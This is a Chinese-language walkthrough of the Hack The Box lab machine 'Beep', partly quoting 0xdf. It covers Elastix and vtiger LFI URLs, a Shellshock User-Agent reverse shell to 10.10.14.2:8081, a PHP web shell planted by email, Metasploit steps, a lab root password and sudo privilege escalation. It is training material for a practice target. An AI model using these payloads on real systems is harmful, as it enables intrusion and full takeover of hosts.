这个靶场真的很厉害,学到了非常多的东西
需要学习的技能
nmap扫描具体端口 -sC -sV -p 223
searchspoilt 打开文件 -x
sslscan ip 探测目标机器 ssl版本
勘探
首先还是一样用nmap大致扫描,再用nmap对扫出的端口进行细致扫描
nmap
nmap
shows a bunch of ports open on the box:
root@kali# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.7
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-09 12:44 EDT
Nmap scan report for 10.10.10.7
Host is up (0.12s latency).
Not shown: 65519 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
443/tcp open https
745/tcp open unknown
993/tcp open imaps
995/tcp open pop3s
3306/tcp open mysql
4190/tcp open sieve
4445/tcp open upnotifyp
4559/tcp open hylafax
5038/tcp open unknown
10000/tcp open snet-sensor-mgmt
Nmap done: 1 IP address (1 host up) scanned in 15.41 seconds
root@kali# nmap -sC -sV -p 22,25,80,110,111,143,443,745,993,995,3306,4190,4445,4559,5038,10000 -oA nmap/scriptstcp 10.10.10.7
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-09 12:46 EDT
Nmap scan report for 10.10.10.7
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
80/tcp open http Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: STLS PIPELINING EXPIRE(NEVER) LOGIN-DELAY(0) TOP IMPLEMENTATION(Cyrus POP3 server v2) APOP RESP-CODES UIDL USER AUTH-RESP-CODE
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 742/udp status
|_ 100024 1 745/tcp status
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: SORT=MODSEQ Completed IMAP4rev1 RENAME OK URLAUTHA0001 X-NETSCAPE UNSELECT ACL BINARY LISTEXT QUOTA ID IDLE MULTIAPPEND CONDSTORE CATENATE ANNOTATEMORE LIST-SUBSCRIBED THREAD=ORDEREDSUBJECT LITERAL+ THREAD=REFERENCES NO UIDPLUS CHILDREN MAILBOX-REFERRALS SORT STARTTLS NAMESPACE ATOMIC IMAP4 RIGHTS=kxte
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Elastix - Login page
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
|_ssl-date: 2018-08-09T15:27:00+00:00; -1h21m36s from scanner time.
745/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 Cyrus pop3d
3306/tcp open mysql MySQL (unauthorized)
4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp open upnotifyp?
4559/tcp open hylafax HylaFAX 4.3.10
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix
Host script results:
|_clock-skew: mean: -1h21m36s, deviation: 0s, median: -1h21m36s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 279.65 seconds
The Apache version says the box is CentOS, so it’s likely CentOS 5 (which is super old).
from 0xdf
可以看到得到了很多东西
那么既然看到了开了80/443端口,那一定要打开页面看看
并且用dirsearch跑一下看看有没有可以利用的文件
然后发现是一个elastix登陆界面,那么就搜索一下有什么可以利用的漏洞
然后就发现了这个
可以依次尝试一下最后四个
获得用户权限
方法一RCE漏洞
可以看到他是一个py文件,那么我们需要把他编辑为我们可以使用的版本
首先找到这个文件位置
用这个命令可以打开文件并显示文件目录,或者可以在退出的地方查看文件目录
那么用vim编辑exp端口位置
这里我们可以看到host和port修改为自己的,那个extension这里可以填233
我们使用语句
来探测可以使用的extension
)
或者访问地址https://10.10.10.7/index.php?menu=pbxconfig 来获取
修改好了我们可以尝试运行一下
发现会报一堆错
其中一项原因是ssl证书的问题,那么我们直接忽略
修改成这样,记得引入ssl包 import ssl
再运行发现还是报错,发现靶机的ssl版本太过于古老
我们虚拟机配置文件验证不能通过,所以我们需要修改虚拟机验证文件
打开/etc/ssl/openssl.cnf文件在文件最后面找到
修改成这样
这次在运行
成功
方法二LFI
这个exp的详细描述可以看这个
Elastix 2.2.0 - 'graph.php' Local File Inclusion - PHP webapps Exploit (exploit-db.com)
local file include
这个漏洞这要就是因为配置错误导致,可以通过地址栏来访问服务器文件
类似于这样去构造url
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
这样etc位置放你想阅读的文件
再amportal文件中找到了这个系统管理员密码
)
注意火狐中crt+u整理代码
登陆成功
考虑到密码多用习惯尝试登陆一下ssh
ssh root@10.10.10.7
登陆成功
bash -i >& /dev/tcp/10.10.14.2/8081 0>&1获得shell的转发方法
方法三LFI
登入10.10.10.7/vigercrm后在左下角发现了运行的crm版本
那么查找一下有没有可以利用的漏洞
searchsploit vtiger CRM 5.1.0
发现果然有还是RFI漏洞
查看漏洞文件了解到这个漏洞的用法
https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00
剩下的和方法二一样的利用流程
方法四MSF
使用了MSF渗透模块
search vtigercrm 查找漏洞
use 2 使用2号漏洞(exploit/multi/http/vtiger_soap_upload)
set RHOSTS 10.10.10.7 配置参数
set SSL true
set RPORT 443
set LHOST 10.10.16.7
run
方法五WEBMIN
我们之前通过RFI获得的账号密码
root / jEhdIekWmdjE登录尽量10000端口的后台控制面板,
至此我们直接获取了system权限,可以做一切操作,包括改密码,注入指令等,我们可以通过改密码,来实现ssh登录;可以通过发送指令来进行shell转发,都可以就有很多方法攻破靶机了
搜索invert selection为靶机设定一条命令
选择以root权限执行
之后就获得了一个root权限的shell面板
方法六shellshock
这一个是bash的变量导入错误,可能会发生在对cgi文件的请求中
在webmin的提交用户账号密码处就是一个对cgi文件的post请求
我们可以尝试在这个文件中注入一个shellshock变量污染来获得一个root权限
User-Agent: () { :; };bash -i >& /dev/tcp/10.10.14.2/8081 0>&1
将user-agent一处修改为这样
原理可以看这篇文章
什么是ShellShock攻击? - 知乎 (zhihu.com)
方法七Email
非常高明的做法,来自于0xdf,摘抄下来
One way to get a file on disk is email. I’ll send an email to one of the accounts on the box, and then find it in /var/mail/[username]
. Why not the askerisk account? swaks
will send the email (or I could do it with telnet
similar to the enumeration above):
root@kali$ swaks --to asterisk@localhost --from 0xdf@0xdf.htb --header "Subject: test shel
l" --body 'check out this code: <?php system($_REQUEST["cmd"]); ?>' --server 10.10.10.7
=== Trying 10.10.10.7:25...
=== Connected to 10.10.10.7.
<- 220 beep.localdomain ESMTP Postfix
-> EHLO parrot
<- 250-beep.localdomain
<- 250-PIPELINING
<- 250-SIZE 10240000
<- 250-VRFY
<- 250-ETRN
<- 250-ENHANCEDSTATUSCODES
<- 250-8BITMIME
<- 250 DSN
-> MAIL FROM:<0xdf@0xdf.htb>
<- 250 2.1.0 Ok
-> RCPT TO:<asterisk@localhost>
<- 250 2.1.5 Ok
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 18 Feb 2021 15:33:00 -0500
-> To: asterisk@localhost
-> From: 0xdf@0xdf.htb
-> Subject: test shell
-> Message-Id: <20210218153300.1486384@parrot>
-> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
->
-> check out this code: <?php system($_REQUEST["cmd"]); ?>
->
->
-> .
<- 250 2.0.0 Ok: queued as 5BB88D92FD
-> QUIT
<- 221 2.0.0 Bye
=== Connection closed with remote host.
Now I can read that file with the LFI at:
view-source:https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../../var/mail/asterisk%00&module=Accounts&action
I’ll add &cmd=id
to get execution:
I can turn that into a shell, and privesc just like in method one.
原理我猜应该是,有用过文件包含访问邮件服务器,然后发送的邮件中带有恶意代码,然后通过网页访问就会被执行
最后一段
估计是使用burp爆破10000端口的密码,然后用命令执行
If I assume for a second that I didn’t have the root password, I could take some guesses trying to login to webmin. When I try to login, it create a POST request to /session_login.cgi
:
POST /session_login.cgi HTTP/1.1
Host: 10.10.10.7:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://10.10.10.7:10000
DNT: 1
Connection: close
Referer: https://10.10.10.7:10000/
Cookie: testing=1; sid=x
Upgrade-Insecure-Requests: 1
page=%2F&user=root&pass=root
Any time there’s CGI (especially on an old machine), it’s time to look for ShellShock. To test, I’ll kick the login request over to Repeater and replace the User-Agent
header with the Shellshock exploit string () { :; };[cmd]
, starting with a simple sleep:
POST /session_login.cgi HTTP/1.1
Host: 10.10.10.7:10000
User-Agent: () { :; };sleep 10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: https://10.10.10.7:10000
DNT: 1
Connection: close
Referer: https://10.10.10.7:10000/
Cookie: testing=1; sid=x
Upgrade-Insecure-Requests: 1
page=%2F&user=root&pass=root
It hangs for 10 seconds and then returns. I’ll try a ping
:
POST /session_login.cgi HTTP/1.1
Host: 10.10.10.7:10000
User-Agent: () { :; };ping -c 1 10.10.14.2
Content-Length: 28
page=%2F&user=root&pass=root
At tcpdump
, I see it arrive:
root@kali$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:46:35.325588 IP 10.10.10.7 > 10.10.14.2: ICMP echo request, id 23824, seq 1, length 64
14:46:35.325599 IP 10.10.14.2 > 10.10.10.7: ICMP echo reply, id 23824, seq 1, length 64
So now can get shell (as root):
POST /session_login.cgi HTTP/1.1
Host: 10.10.10.7:10000
User-Agent: () { :; };bash -i >& /dev/tcp/10.10.14.2/8081 0>&1
Content-Length: 28
page=%2F&user=root&pass=root
root@kali# nc -lnvp 8081
listening on [any] 8081 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.7] 36248
bash: no job control in this shell
[root@beep webmin]# id
uid=0(root) gid=0(root)
获得root权限
用sudo -l
sudo -l
Matching Defaults entries for asterisk on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY"
User asterisk may run the following commands on this host:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /bin/touch
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown
(root) NOPASSWD: /sbin/service
(root) NOPASSWD: /sbin/init
(root) NOPASSWD: /usr/sbin/postmap
(root) NOPASSWD: /usr/sbin/postfix
(root) NOPASSWD: /usr/sbin/saslpasswd2
(root) NOPASSWD: /usr/sbin/hardware_detector
(root) NOPASSWD: /sbin/chkconfig
(root) NOPASSWD: /usr/sbin/elastix-helper
方法一nmap
发现有在用root权限运行nmap,那么我们使用nmap来提权
sudo nmap --interactive
!sh
这个其实在方法一的poc中作者就有提及,也就是说存在漏洞一就会存在提权漏洞
方法二chmod
然后还发现给了chmod的root权限,那么我们可以给bash一个s权限来让任何人都可以以root权限获取一个shell
这个地方有一个说法有些不懂
应该就是说不弹出一个全新的shell,bash也只是以一个进程运行在原先的shell上
方法三webmin
方法三同获取用户权限的方法五
我们之前通过RFI获得的账号密码
root / jEhdIekWmdjE登录尽量10000端口的后台控制面板,
至此我们直接获取了system权限,可以做一切操作,包括改密码,注入指令等,我们可以通过改密码,来实现ssh登录;可以通过发送指令来进行shell转发,都可以就有很多方法攻破靶机了
搜索invert selection为靶机设定一条命令
选择以root权限执行
之后就获得了一个root权限的shell面板
方法四shellshock
这一个是bash的变量导入错误,可能会发生在对cgi文件的请求中
在webmin的提交用户账号密码处就是一个对cgi文件的post请求
我们可以尝试在这个文件中注入一个shellshock变量污染来获得一个root权限
User-Agent: () { :; };bash -i >& /dev/tcp/10.10.14.2/8081 0>&1
将user-agent一处修改为这样
原理可以看这篇文章
什么是ShellShock攻击? - 知乎 (zhihu.com)
感谢
0xdf的多种思路
首次发布与于私人博客